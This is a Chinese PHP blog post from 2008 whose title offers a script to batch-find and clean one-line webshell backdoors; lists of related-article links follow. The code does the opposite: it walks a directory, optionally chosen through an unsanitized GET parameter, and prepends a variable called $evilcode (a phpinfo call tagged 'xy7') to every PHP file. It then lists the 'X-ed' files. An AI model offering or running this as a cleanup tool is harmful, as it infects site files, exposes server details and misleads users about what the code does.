用php实现批量查询清除一句话后门的代码


Posted in PHP onJanuary 20, 2008

总是忘记一句话放到哪个文件里去了,直接全部干掉...

<?//xy7  
if (!isset($dir) or empty($dir)) {  
$dir=str_replace('\\','/',dirname(__FILE__));  
echo "<font color=\"#00688B\">".$dir."</font>";  
} else {  
$dir=$_GET['dir'];  
echo "<font color=\"#00688B\">".$dir."</font>";  
}  
$evilcode="<?phpinfo();//xy7?>";  
$testdir = opendir($dir);  
while($filea = @readdir($testdir)){  
if(strstr($filea, '.php')){  
$fp = @fopen($filea, 'r+');  
if (!strstr(@fread($fp, 20), 'xy7')){  
rewind($fp);  
$old = @fread($fp, filesize($filea));  
rewind($fp);  
fwrite($fp, $evilcode . $old);  
}  
fclose($fp);  
}  
}  
closedir($testdir);  
?>  
<hr>  
<table width="100%" border="0" cellpadding="3" cellspacing="1">  
<tr>  
<td><b>被X的文件</b></td>  
<td><b>时间</b></td>  
<td><b>大小</b></td>  
</tr>  
<?php  
$dirs=@opendir($dir);  
while ($file=@readdir($dirs)) {  
if ((is_file($file)) and (ereg("\.php{0,1}$",$file)))  
{$b="$dir/$file";  
$a=@is_dir($b);  
if($a=="0"){  
$size=@filesize("$dir/$file");  
$lastsave=@date("Y-n-d H:i:s",filectime("$dir/$file"));  
echo "<tr>\n";  
echo "<td>$file</td>\n";  
echo " <td>$lastsave</td>\n";  
echo " <td>$size Bytes</td>\n";  
}  
}  
}  
@closedir($dirs);  
?>  
</table> 
codz by xuanmumu 
PHP 相关文章推荐
实现分十页分向前十页向后十页的处理
Oct 09 PHP
基于文本的访客签到簿
Oct 09 PHP
php array_map array_multisort 高效处理多维数组排序
Jun 11 PHP
PHP 抓取新浪读书频道的小说并生成txt电子书的代码
Dec 18 PHP
PHP开发负载均衡指南
Jul 17 PHP
使用PHP编写的SVN类
Jul 18 PHP
微信公众号支付之坑:调用支付jsapi缺少参数 timeStamp等错误解决方法
Jan 12 PHP
php pdo操作数据库示例
Mar 10 PHP
laravel 5异常错误:FatalErrorException in Handler.php line 38的解决
Oct 12 PHP
阿里云Win2016安装Apache和PHP环境图文教程
Mar 11 PHP
PHP正则表达式笔记与实例详解
May 09 PHP
实例分析10个PHP常见安全问题
Jul 09 PHP
asp和php下textarea提交大量数据发生丢失的解决方法
Jan 20 #PHP
php开发工具之vs2005图解
Jan 12 #PHP
java EJB 加密与解密原理的一个例子
Jan 11 #PHP
apache rewrite_module模块使用教程
Jan 10 #PHP
支持php4、php5的mysql数据库操作类
Jan 10 #PHP
让PHP支持页面回退的两种方法
Jan 10 #PHP
php下使用SMTP发邮件的代码
Jan 10 #PHP
You might like
php flush类输出缓冲剖析
2008/10/19 PHP
解决文件名解压后乱码的问题 将文件名进行转码的代码
2012/01/10 PHP
WordPress中查询文章的循环Loop结构及用法分析
2015/12/17 PHP
javascript学习笔记(五)正则表达式
2011/04/08 Javascript
jquery 操作DOM案例代码分享
2012/04/05 Javascript
jquery mobile的触控点击事件会多次触发问题的解决方法
2014/05/08 Javascript
AngularJS初始化过程分析(引导程序)
2014/12/06 Javascript
jquery.cookie.js使用指南
2015/01/05 Javascript
Jquery基础教程之DOM操作
2015/08/19 Javascript
关于webuploader插件使用过程遇到的小问题
2016/11/07 Javascript
js中toString()和String()区别详解
2017/03/23 Javascript
Swiper 4.x 使用方法(移动端网站的内容触摸滑动)
2018/05/17 Javascript
深入理解JavaScript的值传递和引用传递
2018/10/24 Javascript
如何利用Node.js与JSON搭建简单的动态服务器
2020/06/16 Javascript
Vue+axios封装请求实现前后端分离
2020/10/23 Javascript
vue实现图书管理系统
2020/12/29 Vue.js
[00:37]2016完美“圣”典风云人物:AMS宣传片
2016/12/06 DOTA
使用url_helper简化Python中Django框架的url配置教程
2015/05/30 Python
简介二分查找算法与相关的Python实现示例
2015/08/26 Python
Python实现将数据库一键导出为Excel表格的实例
2016/12/30 Python
python中使用psutil查看内存占用的情况
2018/06/11 Python
python远程连接服务器MySQL数据库
2018/07/02 Python
Python日期时间Time模块实例详解
2019/04/15 Python
Python绘制热力图示例
2019/09/27 Python
python爬虫模块URL管理器模块用法解析
2020/02/03 Python
python lambda函数及三个常用的高阶函数
2020/02/05 Python
Python利用逻辑回归分类实现模板
2020/02/15 Python
Python3 mmap内存映射文件示例解析
2020/03/23 Python
活动策划邀请函
2014/02/06 职场文书
2014小学植树节活动总结
2014/03/10 职场文书
2014年物业公司工作总结
2014/11/22 职场文书
运动会闭幕词
2015/01/28 职场文书
讲座开场白台词和结束语
2015/05/29 职场文书
观看建国大业观后感
2015/06/01 职场文书
2016年国庆节假期旅游工作总结
2016/04/01 职场文书
导游词之桂林
2019/08/20 职场文书